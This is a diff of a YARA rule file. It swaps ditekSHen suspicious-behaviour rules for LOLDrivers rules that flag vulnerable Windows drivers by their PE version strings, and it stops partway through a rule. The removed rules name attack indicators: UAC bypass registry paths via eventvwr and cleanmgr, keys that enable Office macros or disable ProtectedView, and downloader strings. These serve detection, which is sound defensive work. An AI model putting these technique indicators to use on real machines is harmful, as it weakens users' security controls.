-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L29-L43"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "540a48f98652c84b09f1076c2e2fca680781f533c936d602809179469a850ba0"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - elbycdio.sys"
+		author = "Florian Roth"
+		id = "db7c877e-4b76-5b66-8a4f-a33cb7c76d5a"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2259-L2278"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "82fbcb371d53b8a76a25fbbafaae31147c0d1f6b9f26b3ea45262c2267386989"
+		logic_hash = "38df982e74818094d0aa508b6b0ad94b885e6554760b4678de833fcc86e8bb13"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "_ReflectiveLoader@" ascii wide
-		$s2 = "ReflectiveLoader@" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003700200045006c00610062006f0072006100740065002000420079007400650073002000410047 }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of them or (pe.exports("ReflectiveLoader@4") or pe.exports("_ReflectiveLoader@4") or pe.exports("ReflectiveLoader")))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_IMG_Embedded_Archive : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Entechtaiwan_Seasys_Softenginex_6CB5 : FILE
 {
 	meta:
-		description = "Detects images embedding archives. Observed in TheRat RAT."
-		author = "ditekSHen"
-		id = "2c8e15dc-2e84-5f9b-b538-cba204a3d38c"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L45-L66"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0e61bc2489a54047c66a659ae2cb6df66683845676e1c02c34d9a0987ddec4bb"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Se64a.sys"
+		author = "Florian Roth"
+		id = "c6298a6f-761c-5e78-b97c-9713b29b0e00"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2281-L2300"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6cb51ae871fbd5d07c5aad6ff8eea43d34063089528603ca9ceb8b4f52f68ddc"
+		logic_hash = "aa425e95a0b920bf68c0221d8fb1cc16f00755b626f496b758cf50d26949c27b"
 		score = 40
-		quality = 37
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$sevenzip1 = { 37 7a bc af 27 1c 00 04 }
-		$sevenzip2 = { 37 e4 53 96 c9 db d6 07 }
-		$zipwopass = { 50 4b 03 04 14 00 00 00 }
-		$zipwipass = { 50 4b 03 04 33 00 01 00 }
-		$zippkfile = { 50 4b 03 04 0a 00 02 00 }
-		$rarheade1 = { 52 61 72 21 1a 07 01 00 }
-		$rarheade2 = { 52 65 74 75 72 6e 2d 50 }
-		$rarheade3 = { 52 61 72 21 1a 07 00 cf }
-		$mscabinet = { 4d 53 46 54 02 00 01 00 }
-		$zlockproe = { 50 4b 03 04 14 00 01 00 }
-		$winzip = { 57 69 6E 5A 69 70 }
-		$pklite = { 50 4B 4C 49 54 45 }
-		$pksfx = { 50 4B 53 70 58 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006e005400650063006800200073006f006600740045006e00670069006e006500200078003600340020006b00650072006e0065006c002d006d006f006400650020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006e0054006500630068002000540061006900770061006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065003600340061002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0073006f006600740045006e00670069006e0065002d007800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065003600340061002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200045006e0054006500630068002000540061006900770061006e002c00200032003000300034002d0032003000300036002e }
 
 	condition:
-		( uint32(0)==0xe0ffd8ff or uint32(0)==0x474e5089 or uint16(0)==0x4d42) and 1 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Eventviewer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0B54 : FILE
 {
 	meta:
-		description = "detects Windows exceutables potentially bypassing UAC using eventvwr.exe"
-		author = "ditekSHen"
-		id = "e4e82d5a-a524-5fac-b14c-4e53a95f4f2c"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L68-L77"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4b893db727ea3ef07805058e9a93664dc01590f249158d9b825cc9cece935640"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "87caf882-a59a-55ca-89ce-a2c2115a1e50"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2303-L2322"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0b542e47248611a1895018ec4f4033ea53464f259c74eb014d018b19ad818917"
+		logic_hash = "264c22a6b54b47962561ea3d8400aab606dd2d28f5d288ba4777ff2ca290c38e"
 		score = 40
-		quality = 41
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "\\Classes\\mscfile\\shell\\open\\command" ascii wide nocase
-		$s2 = "eventvwr.exe" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0038002e003100330030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_Cleanmgr : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Razerinc_Rzpnk_Rzpnk_F159 : FILE
 {
 	meta:
-		description = "detects Windows exceutables potentially bypassing UAC using cleanmgr.exe"
-		author = "ditekSHen"
-		id = "cebbe22d-d54d-5a1e-978a-37ddd96133b7"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L79-L88"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9b9e2789bee4f3b54384dabde028a7b6e70b3e0d66090d5141145a72df515db4"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rzpnk.sys"
+		author = "Florian Roth"
+		id = "8b50ddd6-40b2-5d3e-b9b9-c166e241e611"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2325-L2347"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f15962354d37089884abba417f58e9dbd521569b4f69037a24a37cfc2a490672"
+		hash = "9fa120bda98633e30480d8475c9ac6637470c4ca7c63763560bf869138091b01"
+		hash = "0b547368c03e0a584ae3c5e62af3728426c68b316a15f3290316844d193ad182"
+		hash = "9eba5d1545fdbf37cf053ac3f3ba45bcb651b8abb7805cbfdfb5f91ea294fb95"
+		logic_hash = "070d055353bb978e4d8bd82ea4eed3291b747414423cb9ab45676e692defa7bb"
 		score = 40
-		quality = 41
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "\\Enviroment\\windir" ascii wide nocase
-		$s2 = "\\system32\\cleanmgr.exe" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520061007a006500720020004f007600650072006c0061007900200053007500700070006f00720074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520061007a00650072002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100370037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310032002e00310030003100370037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0052007a0070006e006b }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0052007a0070006e006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310030002d0032003000310037002e002000520061007a00650072002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Enable_Officemacro : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_1273 : FILE
 {
 	meta:
-		description = "Detects Windows executables referencing Office macro registry keys. Observed modifying Office configurations via the registy to enable macros"
-		author = "ditekSHen"
-		id = "2cd26bc8-33c7-5628-982f-dc59ce158082"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L90-L108"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "18f66cff1fe2ab32366bf385bfe08f4895071c83e26812709eeb334857754c0f"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "323e0a63-c74c-5d9c-b3af-c64d2bceb724"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2350-L2369"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1273b74c3c1553eaa92e844fbd51f716356cc19cf77c2c780d4899ec7738fbd1"
+		logic_hash = "1bf31b51302ade1b65e6c24a0dfcc6e144a2f0104e687cef4a14e6307c27c9e1"
 		score = 40
-		quality = 39
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "\\Word\\Security\\VBAWarnings" ascii wide
-		$s2 = "\\PowerPoint\\Security\\VBAWarnings" ascii wide
-		$s3 = "\\Excel\\Security\\VBAWarnings" ascii wide
-		$h1 = "5c576f72645c53656375726974795c5642415761726e696e6773" nocase ascii wide
-		$h2 = "5c506f776572506f696e745c53656375726974795c5642415761726e696e6773" nocase ascii wide
-		$h3 = "5c5c457863656c5c5c53656375726974795c5c5642415761726e696e6773" nocase ascii wide
-		$d1 = "5c%57%6f%72%64%5c%53%65%63%75%72%69%74%79%5c%56%42%41%57%61%72%6e%69%6e%67%73" nocase ascii
-		$d2 = "5c%50%6f%77%65%72%50%6f%69%6e%74%5c%53%65%63%75%72%69%74%79%5c%56%42%41%57%61%72%6e%69%6e%67%73" nocase ascii
-		$d3 = "5c%5c%45%78%63%65%6c%5c%5c%53%65%63%75%72%69%74%79%5c%5c%56%42%41%57%61%72%6e%69%6e%67%73" nocase ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0035002e0033003900320036002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($s*) or 2 of ($h*) or 2 of ($d*))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Disable_Officeprotectedview : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3854 : FILE
 {
 	meta:
-		description = "Detects Windows executables referencing Office ProtectedView registry keys. Observed modifying Office configurations via the registy to disable ProtectedView"
-		author = "ditekSHen"
-		id = "fed81219-d141-5fbf-a7b6-518e3d4de6f6"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L110-L128"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "14b2c19ec1f1ade9285f9e73a8779865c1e09d5ad1df2e0469b5f4a5eb278110"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "2c945052-bb7b-52be-9c11-18eedac5a28e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2372-L2392"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "385485e643aa611e97ceae6590c6a8c47155886123dbb9de1e704d0d1624d039"
+		hash = "b773511fdb2e370dec042530910a905472fcc2558eb108b246fd3200171b04d3"
+		logic_hash = "0cdfef6284465ea9f5509cb4e0ad6efb531d60150fb355a388f8152b322e3da9"
 		score = 40
-		quality = 39
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "\\Security\\ProtectedView\\DisableInternetFilesInPV" ascii wide
-		$s2 = "\\Security\\ProtectedView\\DisableAttachementsInPV" ascii wide
-		$s3 = "\\Security\\ProtectedView\\DisableUnsafeLocationsInPV" ascii wide
-		$h1 = "5c53656375726974795c50726f746563746564566965775c44697361626c65496e7465726e657446696c6573496e5056" nocase ascii wide
-		$h2 = "5c53656375726974795c50726f746563746564566965775c44697361626c65417474616368656d656e7473496e5056" nocase ascii wide
-		$h3 = "5c53656375726974795c50726f746563746564566965775c44697361626c65556e736166654c6f636174696f6e73496e5056" nocase ascii wide
-		$d1 = "5c%53%65%63%75%72%69%74%79%5c%50%72%6f%74%65%63%74%65%64%56%69%65%77%5c%44%69%73%61%62%6c%65%49%6e%74%65%72%6e%65%74%46%69%6c%65%73%49%6e%50%56" nocase ascii
-		$d2 = "5c%53%65%63%75%72%69%74%79%5c%50%72%6f%74%65%63%74%65%64%56%69%65%77%5c%44%69%73%61%62%6c%65%41%74%74%61%63%68%65%6d%65%6e%74%73%49%6e%50%56" nocase ascii
-		$d3 = "5c%53%65%63%75%72%69%74%79%5c%50%72%6f%74%65%63%74%65%64%56%69%65%77%5c%44%69%73%61%62%6c%65%55%6e%73%61%66%65%4c%6f%63%61%74%69%6f%6e%73%49%6e%50%56" nocase ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000360035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($s*) or 2 of ($h*) or 2 of ($d*))
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Sandboxproductid : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Aoddriversys_Amdoverdriveservicedriver_3C11 : FILE
 {
 	meta:
-		description = "Detects binaries and memory artifacts referencing sandbox product IDs"
-		author = "ditekSHen"
-		id = "5af0ace7-6ffb-5695-94c5-d8172d326662"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L130-L149"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3a047ef7e70956e1c2222bde47036d7fff6d98cd8a5df81ea85584a3b5006d4a"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AODDriver.sys"
+		author = "Florian Roth"
+		id = "64eea295-1181-5364-a30a-3ee0e329a04d"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2395-L2416"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3c11dec1571253594d64619d8efc8c0212897be84a75a8646c578e665f58bf5d"
+		hash = "5a0b10a9e662a0b0eeb951ffd2a82cc71d30939a78daebd26b3f58bb24351ac9"
+		hash = "7a1105548bfc4b0a1b7b891cde0356d39b6633975cbcd0f2e2d8e31b3646d2ca"
+		logic_hash = "76740f37a63b7fcf52dc77db4384bc2d232c993ba3553dbfbdd897413b3d1306"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$id1 = "76487-337-8429955-22614" fullword ascii wide
-		$id2 = "76487-644-3177037-23510" fullword ascii wide
-		$id3 = "55274-640-2673064-23950" fullword ascii wide
-		$id4 = "76487-640-1457236-23837" fullword ascii wide
-		$id5 = "76497-640-6308873-23835" fullword ascii wide
-		$id6 = "76487-640-1464517-23259" fullword ascii wide
-		$id7 = "76487 - 337 - 8429955 - 22614" fullword ascii wide
-		$id8 = "76487 - 644 - 3177037 - 23510" fullword ascii wide
-		$id9 = "55274 - 640 - 2673064 - 23950" fullword ascii wide
-		$id10 = "76487 - 640 - 1457236 - 23837" fullword ascii wide
-		$id11 = "76497 - 640 - 6308873 - 23835" fullword ascii wide
-		$id12 = "76487 - 640 - 1464517 - 23259" fullword ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d00440020004f00760065007200440072006900760065002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004f0044004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020004f00760065007200440072006900760065002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004f0044004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020003200300030003900200041004d0044002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_AHK_Downloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpuzsys_Windowsrcodenamelonghornddkdriver_EAA5 : FILE
 {
 	meta:
-		description = "Detects AutoHotKey binaries acting as second stage droppers"
-		author = "ditekSHen"
-		id = "ac8320ed-a9e1-5660-a50f-ec010ac162a6"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L184-L196"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8806d8c03adb4ea4cd9b806f8f8c21e561b39b5602c70d09ed193e35e1502d35"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "d7e481c0-695e-5536-8b06-b66d0f711f86"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2419-L2438"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "eaa5dae373553024d7294105e4e07d996f3a8bd47c770cdf8df79bf57619a8cd"
+		logic_hash = "9149c106ff7ea0326b9e010ef7ae32c25f57c3b9b2e738f4915eda205a512888"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$d1 = "URLDownloadToFile, http" ascii
-		$d2 = "URLDownloadToFile, file" ascii
-		$s1 = ">AUTOHOTKEY SCRIPT<" fullword wide
-		$s2 = "open \"%s\" alias AHK_PlayMe" fullword wide
-		$s3 = /AHK\s(Keybd|Mouse)/ fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055002d005a0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e003100360033003800360020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030002e0036003000300030002e00310036003300380036 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($d*) and 1 of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Uacbypass_CMSTPCOM : T1218 FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Zemanaltd_Zam_8FE9 : FILE
 {
 	meta:
-		description = "Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)"
-		author = "ditekSHen"
-		id = "cdcf6e29-6ee7-5ac7-bd52-c8d42f3f8bf6"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L198-L213"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d198db97901475c0dd10603875fc339d8a7c6d40c7f9c22cda31bb0b1d6d0f2a"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys, zamguard32.sys, zamguard64.sys"
